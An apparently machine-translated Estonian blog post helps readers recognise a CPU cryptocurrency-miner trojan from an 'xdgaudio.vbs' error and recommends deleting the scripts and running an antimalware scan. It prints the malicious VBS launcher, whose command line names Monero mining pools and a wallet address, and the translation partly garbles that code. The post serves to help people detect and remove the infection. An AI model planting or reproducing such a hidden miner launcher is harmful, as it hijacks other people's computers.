Kui teie süsteemis kuvatakse järgmine tõrketeade failiga „xdgaudio.vbs”, on teie arvuti tõenäoliselt nakatunud.
Skript: C: windows xdgaudio.vbs
Rida: 3
Char: 1
Viga: süsteem ei leia määratud faili.
Kood: 80070002
Allikas: (null)
Märkmikuga redigeerimisel võib skript sisaldada järgmisi ridu:
Hämar WShelli komplekt WShell = CreateObject ('WScript.Shell') WShell.Run 'wmipvrse.exe -B - teisendustaseme 1 -r 100 --niidid 16 --cpu-prioriteet 2 --cpu-afiinsus 2 -a krüptonight -o stratum + TCP: //xmr-eu.dwarfpool.com: 8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -px -k -o stratum + TCP: //mine.moneropool.com: 3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x ', 0 Määra WShell = Mitte midagi
See näeb kindlasti välja nagu CPU / cryptocurrency Miner troojalane, mis mitte ainult ei aeglusta teie arvutit, vaid võib kujutada endast ka turvaohtu. Skriptifailid c: windows xdgaudio.vbs ja c: windows servicecrsssr.vbs tuleks kustutada. Sellest ei piisa. Tehke põhjalik skannimine Malwarebytes antimalware abil ja skannige ka teie kasutatava viirusetõrjetarkvaraga.
Miner Trooja eemaldamise üksikasjalike juhiste saamiseks vaadake malwaretips.com juhendit CPU Miner Trooja eemaldamine Windowsist (viiruste spikri juhend) .
Üks väike taotlus: kui teile see postitus meeldis, siis palun jagage seda?
Üks „pisike” aktsia teilt aitaks tõsiselt selle blogi kasvu. Mõned suurepärased ettepanekud:- Kinnitage see!
- Jagage seda oma lemmikblogis + Facebookis, Redditis
- Piiksutage seda!